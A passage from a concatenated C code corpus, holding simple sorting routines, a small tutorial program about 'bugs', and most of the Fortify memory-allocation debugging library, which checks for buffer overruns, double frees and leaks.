printf("\n");
}
/**
选择排序
@param a 排序的数组
@param size 数组的长度
*/
void selectedSort(int a[], int size){
int min = 0;
for (int i = 0; i< size-1; i++) {
min = i;
for (int j=i+1; j<size; j++) {
if (a[j]<a[min]) {
min = j;
}
}
if (min != i) {
int tmp = a[i];
a[i] = a[min];
a[min] = tmp;
}
}
}
/**
插入排序
@param a 待排序数组
@param size 数组大小
*/
void insertSort(int a[], int size) {
for (int i = 0; i < size; i++) {
int j = i;
int temp = a[j];
while (j > 0 && temp < a[j-1]) {
a[j] = a[j-1];
j--;
}
a[j] = temp;
}
}
|
the_stack_data/46678.c | #include <stdio.h>
int main()
{
int bugs = 100;
double bug_rate = 1.2;
printf("You have %i bugs at the imaginary rate of %f.\n", bugs, bug_rate);
long universe_of_defects = 1L * 1024L * 1024L * 1024L;
printf("The entire universe has %li bugs.\n", universe_of_defects);
double expected_bugs = bugs * bug_rate;
printf("You are expected to have %f bugs.\n", expected_bugs);
double part_of_universe = expected_bugs / universe_of_defects;
printf("That is only a %e portion of the universe.\n", part_of_universe);
char nul_byte = '\0';
int care_percentage = bugs * nul_byte;
printf("Which means you should care %d%%.\n", care_percentage);
return 0;
}
|
the_stack_data/115766058.c | /* fortify.cxx - A fortified memory allocation shell - V2.2 */
/*
* This software is not public domain. All material in
* this archive is (C) Copyright 1995 Simon P. Bullen. The
* software is freely distributable, with the condition that
* no more than a nominal fee is charged for media.
* Everything in this distribution must be kept together, in
* original, unmodified form.
* The software may be modified for your own personal use,
* but modified files may not be distributed.
* The material is provided "as is" without warranty of
* any kind. The author accepts no responsibility for damage
* caused by this software.
* This software may not be used in any way by Microsoft
* Corporation or its subsidiaries, or current employees of
* Microsoft Corporation or its subsidiaries.
* This software may not be used for the construction,
* development, production, or testing of weapon systems of
* any kind.
* This software may not be used for the construction,
* development, production, or use of plants/installations
* which include the processing of radioactive/fissionable
* material.
*/
/*
* If you use this software at all, I'd love to hear from
* you. All questions, criticisms, suggestions, praise and
* postcards are most welcome.
*
* email: [email protected]
*
* snail: Simon P. Bullen
* PO BOX 12138
* A'Beckett St.
* Melbourne 3000
* Australia
*/
#ifdef FORTIFY
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <math.h>
#include <ctype.h>
#include <time.h>
/* the user's options */
#include "fortify/ufortify.h"
/* Prototypes and such */
#define __FORTIFY_C__
#include "fortify/fortify.h"
/*
* Round x up to the nearest multiple of n.
*/
#define ROUND_UP(x, n) ((((x) + (n)-1)/(n))*(n))
/*
* struct Header - this structure is used
* internally by Fortify to manage it's
* own private lists of memory.
*/
struct Header
{
unsigned short Checksum; /* For the integrity of our goodies */
const char *File; /* The sourcefile of the allocator */
unsigned long Line; /* The sourceline of the allocator */
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
const char *FreedFile; /* The sourcefile of the deallocator */
unsigned long FreedLine; /* The sourceline of the deallocator */
unsigned char Deallocator; /* The deallocator used */
#endif
size_t Size; /* The size of the malloc'd block */
struct Header *Prev; /* Previous link */
struct Header *Next; /* Next link */
char *Label; /* User's Label (may be null) */
unsigned char Scope; /* Scope level of the caller */
unsigned char Allocator; /* malloc/realloc/new/etc */
};
#define FORTIFY_HEADER_SIZE ROUND_UP(sizeof(struct Header), sizeof(unsigned short))
/*
* FORTIFY_ALIGNED_BEFORE_SIZE is FORTIFY_BEFORE_SIZE rounded up to the
* next multiple of FORTIFY_ALIGNMENT. This is so that we can guarantee
* the alignment of user memory for such systems where this is important
* (eg storing doubles on a SPARC)
*/
#define FORTIFY_ALIGNED_BEFORE_SIZE ( \
ROUND_UP(FORTIFY_HEADER_SIZE + FORTIFY_BEFORE_SIZE, FORTIFY_ALIGNMENT) \
- FORTIFY_HEADER_SIZE)
/*
* FORTIFY_OVERHEAD is the total overhead added by Fortify to each
* memory block.
*/
#define FORTIFY_OVERHEAD ( FORTIFY_HEADER_SIZE \
+ FORTIFY_ALIGNED_BEFORE_SIZE \
+ FORTIFY_AFTER_SIZE)
/*
*
* Static Function Prototypes
*
*/
static int st_CheckBlock(struct Header *h, const char *file, unsigned long line);
static int st_CheckFortification(unsigned char *ptr, unsigned char value, size_t size);
static void st_SetFortification(unsigned char *ptr, unsigned char value, size_t size);
static void st_OutputFortification(unsigned char *ptr, unsigned char value, size_t size);
static void st_HexDump(unsigned char *ptr, size_t offset, size_t size, int title);
static int st_IsHeaderValid(struct Header *h);
static void st_MakeHeaderValid(struct Header *h);
static unsigned short st_ChecksumHeader(struct Header *h);
static int st_IsOnAllocatedList(struct Header *h);
static void st_OutputHeader(struct Header *h);
static void st_OutputMemory(struct Header *h);
static void st_OutputLastVerifiedPoint(void);
static void st_DefaultOutput(const char *String);
static const char *st_MemoryBlockString(struct Header *h);
static void st_OutputDeleteTrace(void);
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
#ifdef FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
#ifdef FORTIFY_VERBOSE_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
static const char *st_DeallocatedMemoryBlockString(struct Header *h);
#endif /* FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
#endif /* FORTIFY_VERBOSE_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
static int st_IsOnDeallocatedList(struct Header *h);
static int st_PurgeDeallocatedBlocks(unsigned long Bytes, const char *file, unsigned long line);
static int st_PurgeDeallocatedScope(unsigned char Scope, const char *file, unsigned long line);
static int st_CheckDeallocatedBlock(struct Header *h, const char *file, unsigned long line);
static void st_FreeDeallocatedBlock(struct Header *h, const char *file, unsigned long line);
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
/*
*
* Static variables
*
*/
static struct Header *st_AllocatedHead = 0;
static int st_AllocateFailRate = 0;
static char st_Buffer[256];
static Fortify_OutputFuncPtr st_Output = st_DefaultOutput;
static const char *st_LastVerifiedFile = "unknown";
static unsigned long st_LastVerifiedLine = 0;
static unsigned char st_Scope = 0;
static unsigned char st_Disabled = 0;
#ifdef __cplusplus
int gbl_FortifyMagic = 0;
static const char *st_DeleteFile[FORTIFY_DELETE_STACK_SIZE];
static unsigned long st_DeleteLine[FORTIFY_DELETE_STACK_SIZE];
static unsigned long st_DeleteStackTop;
#endif /* __cplusplus */
/* statistics */
static unsigned long st_MaxBlocks = 0;
static unsigned long st_MaxAllocation = 0;
static unsigned long st_CurBlocks = 0;
static unsigned long st_CurAllocation = 0;
static unsigned long st_Allocations = 0;
static unsigned long st_Frees = 0;
static unsigned long st_TotalAllocation = 0;
static unsigned long st_AllocationLimit = 0xffffffff;
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
static struct Header *st_DeallocatedHead = 0;
static struct Header *st_DeallocatedTail = 0;
static unsigned long st_TotalDeallocated = 0;
#endif
/* allocators */
static const char *st_AllocatorName[] =
{
"malloc()",
"calloc()",
"realloc()",
"strdup()",
"new",
"new[]"
};
/* deallocators */
static const char *st_DeallocatorName[] =
{
"nobody",
"free()",
"realloc()",
"delete",
"delete[]"
};
static const unsigned char st_ValidDeallocator[] =
{
(1 << Fortify_Deallocator_free) | (1 << Fortify_Deallocator_realloc),
(1 << Fortify_Deallocator_free) | (1 << Fortify_Deallocator_realloc),
(1 << Fortify_Deallocator_free) | (1 << Fortify_Deallocator_realloc),
(1 << Fortify_Deallocator_free) | (1 << Fortify_Deallocator_realloc),
#if defined(FORTIFY_PROVIDE_ARRAY_NEW) && defined(FORTIFY_PROVIDE_ARRAY_DELETE)
(1 << Fortify_Deallocator_delete),
(1 << Fortify_Deallocator_array_delete)
#else
(1 << Fortify_Deallocator_delete) | (1 << Fortify_Deallocator_array_delete),
(1 << Fortify_Deallocator_delete) | (1 << Fortify_Deallocator_array_delete)
#endif
};
/*
* Fortify_Allocate() - allocate a block of fortified memory
*/
void *FORTIFY_STORAGE
Fortify_Allocate(size_t size, unsigned char allocator, const char *file, unsigned long line)
{
unsigned char *ptr;
struct Header *h;
int another_try;
/*
* If Fortify has been disabled, then it's easy
*/
if (st_Disabled)
{
#ifdef FORTIFY_FAIL_ON_ZERO_MALLOC
if (size == 0 && (allocator == Fortify_Allocator_new
|| allocator == Fortify_Allocator_array_new))
{
/*
* A new of zero bytes must succeed, but a malloc of
* zero bytes probably won't
*/
return malloc(1);
}
#endif
return malloc(size);
}
#ifdef FORTIFY_CHECK_ALL_MEMORY_ON_ALLOCATE
Fortify_CheckAllMemory(file, line);
#endif
if (st_AllocateFailRate > 0)
{
if (rand() % 100 < st_AllocateFailRate)
{
#ifdef FORTIFY_WARN_ON_FALSE_FAIL
sprintf(st_Buffer,
"\nFortify: A \"%s\" of %lu bytes \"false failed\" at %s.%lu\n",
st_AllocatorName[allocator], (unsigned long)size, file, line);
st_Output(st_Buffer);
#endif
return (0);
}
}
/* Check to see if this allocation will
* push us over the artificial limit
*/
if (st_CurAllocation + size > st_AllocationLimit)
{
#ifdef FORTIFY_WARN_ON_FALSE_FAIL
sprintf(st_Buffer,
"\nFortify: A \"%s\" of %lu bytes \"false failed\" at %s.%lu\n",
st_AllocatorName[allocator], (unsigned long)size, file, line);
st_Output(st_Buffer);
#endif
return (0);
}
#ifdef FORTIFY_WARN_ON_ZERO_MALLOC
if (size == 0 && (allocator == Fortify_Allocator_malloc ||
allocator == Fortify_Allocator_calloc ||
allocator == Fortify_Allocator_realloc))
{
sprintf(st_Buffer,
"\nFortify: A \"%s\" of 0 bytes attempted at %s.%lu\n",
st_AllocatorName[allocator], file, line);
st_Output(st_Buffer);
}
#endif /* FORTIFY_WARN_ON_ZERO_MALLOC */
#ifdef FORTIFY_FAIL_ON_ZERO_MALLOC
if (size == 0 && (allocator == Fortify_Allocator_malloc ||
allocator == Fortify_Allocator_calloc ||
allocator == Fortify_Allocator_realloc))
{
#ifdef FORTIFY_WARN_ON_ALLOCATE_FAIL
sprintf(st_Buffer, "\nFortify: A \"%s\" of %lu bytes failed at %s.%lu\n",
st_AllocatorName[allocator], (unsigned long)size, file, line);
st_Output(st_Buffer);
#endif /* FORTIFY_WARN_ON_ALLOCATE_FAIL */
return 0;
}
#endif /* FORTIFY_FAIL_ON_ZERO_MALLOC */
#ifdef FORTIFY_WARN_ON_SIZE_T_OVERFLOW
/*
* Ensure the size of the memory block
* plus the overhead isn't bigger than
* size_t (that'd be a drag)
*/
{
size_t private_size = FORTIFY_HEADER_SIZE
+ FORTIFY_ALIGNED_BEFORE_SIZE + size + FORTIFY_AFTER_SIZE;
if (private_size < size)
{
sprintf(st_Buffer,
"\nFortify: A \"%s\" of %lu bytes has overflowed size_t at %s.%lu\n",
st_AllocatorName[allocator], (unsigned long)size, file, line);
st_Output(st_Buffer);
return (0);
}
}
#endif
another_try = 1;
do
{
/*
* malloc the memory, including the space
* for the header and fortification buffers
*/
ptr = (unsigned char *)malloc(FORTIFY_HEADER_SIZE
+ FORTIFY_ALIGNED_BEFORE_SIZE
+ size
+ FORTIFY_AFTER_SIZE);
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
/*
* If we're tracking deallocated memory, then
* we can free some of it, rather than let
* this malloc fail
*/
if (!ptr)
{
another_try = st_PurgeDeallocatedBlocks(size, file, line);
}
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
}
while (!ptr && another_try);
if (!ptr)
{
#ifdef FORTIFY_WARN_ON_ALLOCATE_FAIL
sprintf(st_Buffer, "\nFortify: A \"%s\" of %lu bytes failed at %s.%lu\n",
st_AllocatorName[allocator], (unsigned long)size, file, line);
st_Output(st_Buffer);
#endif
return (0);
}
/*
* Begin Critical Region
*/
FORTIFY_LOCK();
/*
* Make the head's prev pointer point to us
* ('cos we're about to become the head)
*/
if (st_AllocatedHead)
{
st_CheckBlock(st_AllocatedHead, file, line);
/* what should we do if this fails? (apart from panic) */
st_AllocatedHead->Prev = (struct Header *)ptr;
st_MakeHeaderValid(st_AllocatedHead);
}
/*
* Initialize and validate the header
*/
h = (struct Header *)ptr;
h->Size = size;
h->File = file;
h->Line = line;
h->Next = st_AllocatedHead;
h->Prev = 0;
h->Scope = st_Scope;
h->Allocator = allocator;
h->Label = 0;
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
h->FreedFile = 0;
h->FreedLine = 0;
h->Deallocator = Fortify_Deallocator_nobody;
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
st_MakeHeaderValid(h);
st_AllocatedHead = h;
/*
* Initialize the fortifications
*/
st_SetFortification(ptr + FORTIFY_HEADER_SIZE,
FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE);
st_SetFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE);
#ifdef FORTIFY_FILL_ON_ALLOCATE
/*
* Fill the actual user memory
*/
st_SetFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
FORTIFY_FILL_ON_ALLOCATE_VALUE, size);
#endif
/*
* End Critical Region
*/
FORTIFY_UNLOCK();
/*
* update the statistics
*/
st_TotalAllocation += size;
st_Allocations++;
st_CurBlocks++;
st_CurAllocation += size;
if (st_CurBlocks > st_MaxBlocks)
st_MaxBlocks = st_CurBlocks;
if (st_CurAllocation > st_MaxAllocation)
st_MaxAllocation = st_CurAllocation;
/*
* We return the address of the user's memory, not the start of the block,
* which points to our magic cookies
*/
return (ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE);
}
/*
* Fortify_Deallocate() - Free a block of memory allocated with Fortify_Allocate()
*/
void FORTIFY_STORAGE
Fortify_Deallocate(void *uptr, unsigned char deallocator, const char *file, unsigned long line)
{
unsigned char *ptr = (unsigned char *)uptr
- FORTIFY_HEADER_SIZE
- FORTIFY_ALIGNED_BEFORE_SIZE;
struct Header *h = (struct Header *)ptr;
#ifdef FORTIFY_CHECK_ALL_MEMORY_ON_DEALLOCATE
Fortify_CheckAllMemory(file, line);
#endif
/*
* If Fortify has been disabled, then it's easy
* (well, almost)
*/
if (st_Disabled)
{
/* there is a possibility that this memory
* block was allocated when Fortify was
* enabled, so we must check the Allocated
* list before we free it.
*/
if (!st_IsOnAllocatedList(h))
{
free(uptr);
return;
}
else
{
/* the block was allocated by Fortify, so we
* gotta free it differently.
*/
/*
* Begin critical region
*/
FORTIFY_LOCK();
/*
* Remove the block from the list
*/
if (h->Prev)
h->Prev->Next = h->Next;
else
st_AllocatedHead = h->Next;
if (h->Next)
h->Next->Prev = h->Prev;
/*
* End Critical Region
*/
FORTIFY_UNLOCK();
/*
* actually free the memory
*/
free(ptr);
return;
}
}
#ifdef FORTIFY_PARANOID_DEALLOCATE
if (!st_IsOnAllocatedList(h))
{
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
if (st_IsOnDeallocatedList(h))
{
sprintf(st_Buffer, "\nFortify: \"%s\" twice of %s detected at %s.%lu\n",
st_DeallocatorName[deallocator],
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block was deallocated by \"%s\" at %s.%lu\n",
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
st_OutputDeleteTrace();
return;
}
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_Buffer, "\nFortify: Possible \"%s\" twice of (0x%08lx) was detected at %s.%lu\n",
#else
sprintf(st_Buffer, "\nFortify: Possible \"%s\" twice of (%p) was detected at %s.%lu\n",
#endif
st_DeallocatorName[deallocator],
uptr, file, line);
st_Output(st_Buffer);
st_OutputDeleteTrace();
return;
}
#endif /* FORTIFY_PARANOID_DELETE */
/*
* Make sure the block is okay before we free it.
* If it's not okay, don't free it - it might not
* be a real memory block. Or worse still, someone
* might still be writing to it
*/
if (!st_CheckBlock(h, file, line))
{
st_OutputDeleteTrace();
return;
}
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
/*
* Make sure the block hasn't been freed already
* (we can get to here if FORTIFY_PARANOID_DELETE
* is off, but FORTIFY_TRACK_DEALLOCATED_MEMORY
* is on).
*/
if (h->Deallocator != Fortify_Deallocator_nobody)
{
sprintf(st_Buffer, "\nFortify: \"%s\" twice of %s detected at %s.%lu\n",
st_DeallocatorName[deallocator],
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block was deallocated by \"%s\" at %s.%lu\n",
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
st_OutputDeleteTrace();
return;
}
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
/*
* Make sure the block is being freed with a valid
* deallocator. If not, complain. (but free it anyway)
*/
if ((st_ValidDeallocator[h->Allocator] & (1 << deallocator)) == 0)
{
sprintf(st_Buffer, "\nFortify: Incorrect deallocator \"%s\" detected at %s.%lu\n",
st_DeallocatorName[deallocator], file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " %s was allocated with \"%s\"\n",
st_MemoryBlockString(h), st_AllocatorName[h->Allocator]);
st_Output(st_Buffer);
st_OutputDeleteTrace();
}
/*
* Begin critical region
*/
FORTIFY_LOCK();
/*
* Remove the block from the list
*/
if (h->Prev)
{
if (!st_CheckBlock(h->Prev, file, line))
{
FORTIFY_UNLOCK();
st_OutputDeleteTrace();
return;
}
h->Prev->Next = h->Next;
st_MakeHeaderValid(h->Prev);
}
else
st_AllocatedHead = h->Next;
if (h->Next)
{
if (!st_CheckBlock(h->Next, file, line))
{
FORTIFY_UNLOCK();
st_OutputDeleteTrace();
return;
}
h->Next->Prev = h->Prev;
st_MakeHeaderValid(h->Next);
}
/*
* End Critical Region
*/
FORTIFY_UNLOCK();
/*
* update the statistics
*/
st_Frees++;
st_CurBlocks--;
st_CurAllocation -= h->Size;
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
if (st_Scope > 0)
{
/*
* Don't _actually_ free the memory block, just yet.
* Place it onto the deallocated list, instead, so
* we can check later to see if it's been written to.
*/
#ifdef FORTIFY_FILL_ON_DEALLOCATE
/*
* Nuke out all user memory that is about to be freed
*/
st_SetFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
FORTIFY_FILL_ON_DEALLOCATE_VALUE,
h->Size);
#endif /* FORTIFY_FILL_ON_DEALLOCATE */
/*
* Begin critical region
*/
FORTIFY_LOCK();
/*
* Place the block on the deallocated list
*/
if (st_DeallocatedHead)
{
st_DeallocatedHead->Prev = (struct Header *)ptr;
st_MakeHeaderValid(st_DeallocatedHead);
}
h = (struct Header *)ptr;
h->FreedFile = file;
h->FreedLine = line;
h->Deallocator = deallocator;
h->Next = st_DeallocatedHead;
h->Prev = 0;
st_MakeHeaderValid(h);
st_DeallocatedHead = h;
if (!st_DeallocatedTail)
{
st_DeallocatedTail = h;
}
st_TotalDeallocated += h->Size;
#ifdef FORTIFY_DEALLOCATED_MEMORY_LIMIT
/*
* If we've got too much on the deallocated list; free some
*/
if (st_TotalDeallocated > FORTIFY_DEALLOCATED_MEMORY_LIMIT)
{
st_PurgeDeallocatedBlocks(st_TotalDeallocated - FORTIFY_DEALLOCATED_MEMORY_LIMIT, file, line);
}
#endif
/*
* End critical region
*/
FORTIFY_UNLOCK();
}
else
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
{
/*
* Free the User Label
*/
if (h->Label)
{
free(h->Label);
}
#ifdef FORTIFY_FILL_ON_DEALLOCATE
/*
* Nuke out all memory that is about to be freed, including the header
*/
st_SetFortification(ptr, FORTIFY_FILL_ON_DEALLOCATE_VALUE,
FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size + FORTIFY_AFTER_SIZE);
#endif /* FORTIFY_FILL_ON_DEALLOCATE */
/*
* And do the actual free
*/
free(ptr);
}
}
/*
* Fortify_LabelPointer() - Labels the memory block
* with a string provided by the user. This function
* takes a copy of the passed in string.
* The pointer MUST be one returned by a Fortify
* allocation function.
*/
void
Fortify_LabelPointer(void *uptr, const char *label, const char *file, unsigned long line)
{
if (!st_Disabled)
{
unsigned char *ptr = (unsigned char *)uptr
- FORTIFY_HEADER_SIZE - FORTIFY_ALIGNED_BEFORE_SIZE;
struct Header *h = (struct Header *)ptr;
/* make sure the pointer is okay */
Fortify_CheckPointer(uptr, file, line);
/* free the previous label */
if (h->Label)
{
free(h->Label);
}
/* make sure the label is sensible */
assert(label);
/* copy it in */
h->Label = (char *)malloc(strlen(label) + 1);
strcpy(h->Label, label);
/* update the checksum */
st_MakeHeaderValid(h);
}
}
/*
* Fortify_CheckPointer() - Returns true if the uptr
* points to a valid piece of Fortify_Allocated()'d
* memory. The memory must be on the allocated list,
* and it's fortifications must be intact.
* Always returns TRUE if Fortify is disabled.
*/
int FORTIFY_STORAGE
Fortify_CheckPointer(void *uptr, const char *file, unsigned long line)
{
unsigned char *ptr = (unsigned char *)uptr
- FORTIFY_HEADER_SIZE - FORTIFY_ALIGNED_BEFORE_SIZE;
struct Header *h = (struct Header *)ptr;
int r;
if (st_Disabled)
return 1;
FORTIFY_LOCK();
if (!st_IsOnAllocatedList(h))
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_Buffer, "\nFortify: Invalid pointer (0x%08lx) detected at %s.%lu\n",
#else
sprintf(st_Buffer, "\nFortify: Invalid pointer (%p) detected at %s.%lu\n",
#endif
uptr, file, line);
st_Output(st_Buffer);
FORTIFY_UNLOCK();
return (0);
}
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
if (st_IsOnDeallocatedList(h))
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_Buffer, "\nFortify: Deallocated pointer (0x%08lx) detected at %s.%lu\n",
#else
sprintf(st_Buffer, "\nFortify: Deallocated pointer (%p) detected at %s.%lu\n",
#endif
uptr, file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block was deallocated by \"%s\" at %s.%lu\n",
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
FORTIFY_UNLOCK();
return (0);
}
#endif
r = st_CheckBlock(h, file, line);
FORTIFY_UNLOCK();
return r;
}
/*
* Fortify_SetOutputFunc(Fortify_OutputFuncPtr Output) -
* Sets the function used to output all error and
* diagnostic messages. The output function takes
* a single const unsigned char * argument, and must be
* able to handle newlines. This function returns the
* old output function.
*/
Fortify_OutputFuncPtr FORTIFY_STORAGE
Fortify_SetOutputFunc(Fortify_OutputFuncPtr Output)
{
Fortify_OutputFuncPtr Old = st_Output;
st_Output = Output;
return (Old);
}
/*
* Fortify_SetAllocateFailRate(int Percent) -
* Fortify_Allocate() will "fail" this Percent of
* the time, even if the memory is available.
* Useful to "stress-test" an application.
* Returns the old value.
* The fail rate defaults to 0 (a good default I think).
*/
int FORTIFY_STORAGE
Fortify_SetAllocateFailRate(int Percent)
{
int Old = st_AllocateFailRate;
st_AllocateFailRate = Percent;
return (Old);
}
/*
* Fortify_CheckAllMemory() - Checks the fortifications
* of all memory on the allocated list. And, if
* FORTIFY_DEALLOCATED_MEMORY is enabled, all the
* known deallocated memory as well.
* Returns the number of blocks that failed.
* Always returns 0 if Fortify is disabled.
*/
unsigned long FORTIFY_STORAGE
Fortify_CheckAllMemory(const char *file, unsigned long line)
{
struct Header *curr = st_AllocatedHead;
unsigned long count = 0;
if (st_Disabled)
return 0;
FORTIFY_LOCK();
/*
* Check the allocated memory
*/
while (curr)
{
if (!st_CheckBlock(curr, file, line))
count++;
curr = curr->Next;
}
/*
* Check the deallocated memory while you're at it
*/
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
curr = st_DeallocatedHead;
while (curr)
{
if (!st_CheckDeallocatedBlock(curr, file, line))
count++;
curr = curr->Next;
}
#endif
/*
* If we know where we are, and everything is cool,
* remember that. It might be important.
*/
if (file && count == 0)
{
st_LastVerifiedFile = file;
st_LastVerifiedLine = line;
}
FORTIFY_UNLOCK();
return (count);
}
/*
* Fortify_EnterScope() - enters a new Fortify scope
* level. Returns the new scope level.
*/
unsigned char FORTIFY_STORAGE
Fortify_EnterScope(const char *file, unsigned long line)
{
return (++st_Scope);
}
/* Fortify_LeaveScope - leaves a Fortify scope level,
* also prints a memory dump of all non-freed memory
* that was allocated during the scope being exited.
* Does nothing and returns 0 if Fortify is disabled.
*/
unsigned char FORTIFY_STORAGE
Fortify_LeaveScope(const char *file, unsigned long line)
{
struct Header *curr = st_AllocatedHead;
unsigned long size = 0, count = 0;
if (st_Disabled)
return 0;
FORTIFY_LOCK();
st_Scope--;
while (curr)
{
if (curr->Scope > st_Scope)
{
if (count == 0)
{
sprintf(st_Buffer, "\nFortify: Memory leak detected leaving scope at %s.%lu\n", file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, "%10s %8s %s\n", "Address", "Size", "Allocator");
st_Output(st_Buffer);
}
st_OutputHeader(curr);
count++;
size += curr->Size;
}
curr = curr->Next;
}
if (count)
{
sprintf(st_Buffer, "%10s %8lu bytes in %lu blocks with %lu bytes overhead\n",
"total", size, count, count * FORTIFY_OVERHEAD);
st_Output(st_Buffer);
}
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
/*
* Quietly free all the deallocated memory
* that was allocated in this scope that
* we are still tracking
*/
st_PurgeDeallocatedScope(st_Scope, file, line);
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
FORTIFY_UNLOCK();
return (st_Scope);
}
/*
* Fortify_ListAllMemory() - Outputs the entire
* list of currently allocated memory. For each block
* is output it's Address, Size, and the SourceFile and
* Line that allocated it.
*
* If there is no memory on the list, this function
* outputs nothing.
*
* It returns the number of blocks on the list, unless
* Fortify has been disabled, in which case it always
* returns 0.
*/
unsigned long FORTIFY_STORAGE
Fortify_ListAllMemory(const char *file, unsigned long line)
{
struct Header *curr = st_AllocatedHead;
unsigned long size = 0, count = 0;
if (st_Disabled)
return 0;
Fortify_CheckAllMemory(file, line);
FORTIFY_LOCK();
if (curr)
{
sprintf(st_Buffer, "\nFortify: Memory List at %s.%lu\n", file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, "%10s %8s %s\n", "Address", "Size", "Allocator");
st_Output(st_Buffer);
while (curr)
{
st_OutputHeader(curr);
count++;
size += curr->Size;
curr = curr->Next;
}
sprintf(st_Buffer, "%10s %8lu bytes in %lu blocks and %lu bytes overhead\n",
"total", size, count, count * FORTIFY_OVERHEAD);
st_Output(st_Buffer);
}
FORTIFY_UNLOCK();
return (count);
}
/*
* Fortify_DumpAllMemory() - Outputs the entire list of
* currently allocated memory. For each allocated block
* is output it's Address, Size, the SourceFile and Line
* that allocated it, a hex dump of the contents of the
* memory and an ascii dump of printable characters.
*
* If there is no memory on the list, this function outputs nothing.
*/
unsigned long FORTIFY_STORAGE
Fortify_DumpAllMemory(const char *file, unsigned long line)
{
struct Header *curr = st_AllocatedHead;
unsigned long count = 0;
if (st_Disabled)
return 0;
Fortify_CheckAllMemory(file, line);
FORTIFY_LOCK();
while (curr)
{
sprintf(st_Buffer, "\nFortify: Hex Dump of %s at %s.%lu\n",
st_MemoryBlockString(curr), file, line);
st_Output(st_Buffer);
st_OutputMemory(curr);
st_Output("\n");
count++;
curr = curr->Next;
}
FORTIFY_UNLOCK();
return (count);
}
/* Fortify_OutputStatistics() - displays statistics
* about the maximum amount of memory that was
* allocated at any one time.
*/
void FORTIFY_STORAGE
Fortify_OutputStatistics(const char *file, unsigned long line)
{
if (st_Disabled)
return;
sprintf(st_Buffer, "\nFortify: Statistics at %s.%lu\n", file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory currently allocated: %lu bytes in %lu blocks\n",
st_CurAllocation, st_CurBlocks);
st_Output(st_Buffer);
sprintf(st_Buffer, " Maximum memory allocated at one time: %lu bytes in %lu blocks\n",
st_MaxAllocation, st_MaxBlocks);
st_Output(st_Buffer);
sprintf(st_Buffer, " There have been %lu allocations and %lu deallocations\n",
st_Allocations, st_Frees);
st_Output(st_Buffer);
sprintf(st_Buffer, " There was a total of %lu bytes allocated\n",
st_TotalAllocation);
st_Output(st_Buffer);
if (st_Allocations > 0)
{
sprintf(st_Buffer, " The average allocation was %lu bytes\n",
st_TotalAllocation / st_Allocations);
st_Output(st_Buffer);
}
}
/* Fortify_GetCurrentAllocation() - returns the number of
* bytes currently allocated.
*/
unsigned long FORTIFY_STORAGE
Fortify_GetCurrentAllocation(const char *file, unsigned long line)
{
if (st_Disabled)
return 0;
return st_CurAllocation;
}
/* Fortify_SetAllocationLimit() - set a limit on the total
* amount of memory allowed for this application.
*/
void FORTIFY_STORAGE
Fortify_SetAllocationLimit(unsigned long NewLimit, const char *file, unsigned long line)
{
st_AllocationLimit = NewLimit;
}
/*
* Fortify_Disable() - Run time method of disabling Fortify.
* Useful if you need to turn off Fortify without recompiling
* everything. Not as effective as compiling out, of course.
* The less memory allocated by Fortify when it is disabled
* the better.
* (Previous versions of Fortify did not allow it to be
* disabled if there was any memory allocated at the time,
* but since in C++ memory is often allocated before main
* is even entered, this was useless so Fortify is now
* able to cope).
*/
void FORTIFY_STORAGE
Fortify_Disable(const char *file, unsigned long line)
{
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
/* free all deallocated memory we might be tracking */
st_PurgeDeallocatedScope(0, file, line);
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
st_Disabled = 1;
}
/*
* st_CheckBlock - Check a block's header and fortifications.
* Returns true if the block is happy.
*/
static int
st_CheckBlock(struct Header *h, const char *file, unsigned long line)
{
unsigned char *ptr = (unsigned char *)h;
int result = 1;
